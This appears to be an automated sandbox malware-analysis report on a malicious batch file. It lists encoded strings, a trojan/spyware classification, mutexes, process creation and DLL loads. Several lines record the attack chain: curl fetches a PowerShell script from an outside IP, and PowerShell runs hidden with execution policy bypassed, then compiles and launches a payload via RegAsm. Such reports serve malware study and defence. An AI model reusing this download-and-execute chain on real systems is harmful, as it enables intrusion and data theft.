Wwoxf8zbNKEPKFbx72mh1B5wGd5B/liiHgxJ8lVv+KGs8ziwUW98N9krMFBxxrrQySDFbPrikVE4DCcG1mkEhRi080696ooeYMbL+b1m07jfvtGvBM0C0Rq31o3G/QVWw12P41f9EEqkFCz9/FSqVbrfvQsdXdBfAmpRljdbfHZUvjc7clN9he+gUYaXAC3yDDvWa8k5YCe1mh0StwU0Jl0/FA/DmquFqNTl0x6NTeVHLcp52vTIGc4BMShukpjC1kT2kzgQxyxybHNy1nfDqp1brx/svHgIK6vvyUEXyTEHFAFX2SaCobwWhK5oT4Ush+fzMiiVHh8Wb+HSYfYGum9RfBk96uz5L26O3v9bRALiX8ouk+R7C4MCOUoLTWWIs+9l7rs0/BoBoVIxkWnKqzDv7qG4jcRCIhVYG/4JLpUkZL7sl6Ltdb9RFrbmAFIRG95EYudOqjJxMbpTr4BCeshCgsPYHfjDOiK/LUX9CBDaUCQA0iAJN7BgiNRe83q6BnM6JAMcZVpJ1OqjH+aV6w0J5Ni3rqLZNsDyJO3E7JjnlqYdNok294My1aocc5Y0GBGEpdfNDWmLJe4r88zW+po6tIu7hdGUPkALmvwl2VqNqxj4s0+BPHNfUGV7QdwTJ9MfiQ4pTm/9c+xmycu09yY+rwbQCA2m/vcG/+1EYA6QQe2aKD6p6YdWfRSAAVn2KbwPlbVO0coEAre/QF5fVW8DrmK3yF8trtc6xJUlYoGxHaxqlKeyCU7GRpoALpxtNUETkBw5brsGXQlZtJoFz4VoH8f8l29IJxzP0TkremFbc1JQ8c5pX8oLxOTrXdlNDvsc4JvdsFr9s7DcpWS/HQvU8na9hNr6kIR7oUqIyfxIBOZF1f488FRG3ra2zAPmjIo7V1ntYBaIVsEZUZkrNU0jPPYSTSG4TWKt9BOjB4to7sIT+5SttIXYprI2dcYTeaiWa331lEKKv9kwWNPz/5ZKbKG53ZnS/bwB3xobRS3H7e2P3nZo93PwwH+/0YiJlJD0EulS4ewiytZQcvKtlaXsMoH0AMwAQYEnVZ0CgMJxp9JrkvsMK+HGnP5xb4HcnTfIKpJ3JnUmwyEcVgFzodnVz4P1d4jVwjGp6ZcBVdFMf8Gc4vDlmX7CdnVl+Mojdb3jaSJ412rMYGGc7bFdYIhe2PDUklhTXHyU4Y8fgHAzViUPnYGN5lWOec0gqf27qQGVZgcnMUVFi/040anqgw1N33w83v8KwPWjvM4wFVFexNVSU90C4Zi0oxyp8cvdhoGXC1byVWTqxH/s066RUM5H2VKw3pCqwA8G0WW3/7/+IfiTsIjFzKMyBCmUKqD
Source: 4.2.powershell.exe.23aceb29b50.3.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 4.2.powershell.exe.23ad05bb1d0.5.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 4.2.powershell.exe.23ae6850000.13.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 4.2.powershell.exe.23ad04f3458.6.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: vbemnivw.dll.6.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winBAT@20/11@0/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3548:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\FkwbxYcgg1G0FnF/TAjQzi9jUa9qcKKioTum8hnjwFlv/+1VfkEHx8BfkllXkWd9Y+CD9XIOkxhhblHpQPtD1w==

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2be0pw23.oxp.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" "

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\gqub.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC68.tmp" "c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC68.tmp" "c:\Users\user\AppData\Local\Temp\vbemnivw\CSCFFA6F3335FDF408C8C503A5C98CF914D.TMP"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
